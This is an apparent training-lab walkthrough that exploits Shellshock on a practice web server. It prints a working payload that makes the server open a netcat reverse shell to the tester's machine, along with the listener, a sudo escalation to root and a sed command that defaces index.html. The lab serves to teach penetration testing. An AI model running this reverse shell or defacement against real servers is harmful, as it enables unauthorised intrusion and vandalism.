# Part 2: Advanced Pentesting (Optional)

The developer has rejected your vulnerability report.  He says that his CISSP certification means that it is impossible for him to write vulnerable code.  The Chief Technology Officer isn’t so sure that the developer is right, but you’ve only been around for a couple of hours, so he doesn’t know who to trust.  He’s asked you to prove that the server is vulnerable- but don’t crash the server!

# Activity: Demonstrate that the server is vulnerable to Shellshock.

Shellshock allows us to run commands on the target server. Since it’s a web server, we can use the CGI on the server to make modifications on the target server. Let’s make a small change to the web page so that it shows your name and also has a picture of our choice included in the page.

We’re going to run a quick web server that hosts our image. We’ll then use the shellshock vulnerability to modify one line of HTML on the web server to point to our image, plus add our signature on the page so that the developer can see that the server is vulnerable.

**Step 1:** Launch a NC listener so that we can catch a shell from the target server.

Netcat is called the TCP/IP Swiss Army Knife. It’s a powerful tool we can use for networking. We’re going to use Netcat to “catch” a shell from the server. We’ll use the shellshock vulnerability to tell the server to connect back to our pentesting workstation, and then we’ll be able to see the results of commands we send at the server. So to start, we need to prepare what is essentially a baseball glove. **The server’s going to throw a ball back at us**- we want to catch it. Let’s prepare our glove:

1. Open a terminal window.
2. Launch a NC listener on your testing machine:
   * *nc -l -p 443*

When you run the command above, there should be no response. It might look like it is hanging. It is not. Proceed to the next step.

**Step 3: Let’s trick the server into sending a shell to us**:

Open up a second terminal

Hacking can be a little like magic in Harry Potter.

We don’t need to know all of the details of why magic works in Harry Potter- we just need to know that if we say “expecto patronum”, your patronous will appear.

In the same way, with hacking, we sometimes have to run a combination of special commands with various flags that are complex. **You don’t have to know all of the details of how it works- only that it does work.** As you get more familiar with commands and attacks, you may want to come back and read the detailed summary of how the attack works.

We’re going to execute a complicated series of commands that we’ll dive into below. It’s easy to make typos, so I created a small script that you can execute which takes care of the typing for you. You can easily start the test by typing the following

* ./trickserver.sh

trickserver.sh launches the following command:

*echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.64.210 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.64.201 80*

This command is our magic hacking spell. If you want to understand what is happening in the attack, continue reading. Most students should just skip to step 4.

**Detailed Discussion of the attack**

The line above contains 5 commands that are chained together to obtain shell access on the server. Let’s break down this command into its parts

|  |
| --- |
| **echo -e** "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.64.10 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.64.210 80 |

The **echo** utility writes any specified operands, separated by single blank (` ') characters and followed by a newline (`\n') character, to the standard output.

|  |
| --- |
| echo -e **"HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.64.10 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n"** | nc 192.168.64. 210 80 |

This is the command we’re pushing through Echo into the NC command. NC is used to throw the attack at the server.

When the server processes the message, it will open up it’s own NC listener and try to connect back to your pentesting workstation.

This attack is comprised of 4 parts. We’ll trim everything outside of the attack we’re sending and break it down in detail:

|  |
| --- |
| **"HEAD /cgi-bin/status** HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.64.10 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" |

We’re hand crafting an HTTP request with this command. “HEAD” is one of 8 methods for HTTP requests. The HEAD method is used to retrieve information from the server for a given URI. We are specifying the URI /cgi-bin/status. This should make sense- remember that we found that as a vulnerable URI earlier? (By the way- URI stands for Uniform Resource Identifier)

|  |
| --- |
| "HEAD /cgi-bin/status **HTTP/1.1\r\nUser-Agent:** () { :;}; /usr/bin/nc 192.168.64.10 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" |

Here, we’re specifying the HTTP protocol version we’re using, adding a return & newline, and then specifying an empty user agent string. Up to now, we’ve been setting up the attack, but now we’re going to pivot to the exploit:

|  |
| --- |
| "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: **() { :;};** /usr/bin/nc 192.168.64.10 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" |

We’re in the beating heart of the vulnerability!

* We declare a BASH environment variable with **().**
* We add an empty body for the function with **{ :;}; Any commands that come after this gets executed by the server.**

|  |
| --- |
| "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; **/usr/bin/nc 192.168.64.10** 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" |

And now we’re in the exploit- we’re specifying that we want the server to execute **/usr/bin/nc** (netcat) when the environment variable is imported. We’re telling the server:

* to spawn a NC command
* tell NC on the server to connect back to our pentesting laptop’s ip address (192.168.64.10) on port 443.
* pass anything that it receives from our pentesting netcat session to a program called /bin/sh.

This allows us to execute commands on the webserver. Then we close out the request with a Host header, which is required to complete the HEAD request. Then the double \r\n is a carriage return&newline combination.

Remember how we set up our catcher’s glove with netcat? The server’s about to throw the ball at us. This is the end of the string we are using with ECHO section, so let’s go back to the original command and read the rest of it:

|  |
| --- |
| echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc [PenTest\_IP] 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" **| nc 192.168.64.210 80** |

The unix pipeline operator **|** chains multiple commands together. We’re taking the output of the echo command (which would normally be printing what we just wrote) and piping it into the **nc** command running on the local pentesting workstation. We pass the ip address of the target web server (192.168.64.210) to NC in order pass the exploit string to the server which, if successful, proves the vulnerability.

That was a lot of kung fu, but the end result is that the webserver will receive a series of packets.

When the sever processes them, it will connect back to our pentesting workstation, giving us a shell that we can execute commands against. We are ready to check if our attack worked.

**Step 4:** Execute commands on the server!

Go back to the NC listener terminal from step 2 and type the following command

* *id*

If it says uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab), you have successfully executed a command on the server. **You just hacked into the server!**

This proves the vulnerability, but you need something a little more permanent to prove the vulnerability to the developer. Let’s deface the webpage.

**Exploit the server**:

Go back to the NC Listener terminal from step 2.

* *whoami*

response: pentesterlab

Let’s check who owns index.html

* *ls -alk /var/www/index.html*

response: -rwxr-xr-x    1 root     root          1704 Sep 25  2014 /var/www/index.html

It’s root!  We need to get root privileges.  Let’s see if we can sudo up to root.

* *sudo –s*
* *whoami*

*response: root*

**now let’s modify the index.html file** to add evidence of our successful compromise.

We’re going to add a button to the web page that you can write your name on- and then we’ll add an image to the page that makes it obvious that the site was vulnerable. You can copy and paste parts of this command from the trickserver2.sh file:

1. *more trickserver2.sh*
2. Highlight the line you see below from the file, right click & select copy.
   * *sed -i '60i<button>[YOURNAME] WAS HERE!<img src="http://192.168.64.10/defcon.gif" height="548" width="972"></button>' /var/www/index.html*
3. Right click on the command line & select Paste.
4. Use your left arrow key to go back and change [YOURNAME] to your name!
5. Hit [enter]

**Now let’s confirm that we modified the web page:**

Open up iceweasel on the pentester vm. It’s the purple/white icon in the top left of the Ubuntu side-bar. You could also open a new terminal and type:

* *iceweasel 192.168.64.210*

Scroll down and observe your tagging on the website. Congratulations! You successfully compromised the webserver. You obtained shell access to the web server and made a slight modification to the web page, proving the vulnerability. Now’s a good time to email the boss!

You’ve finished part 2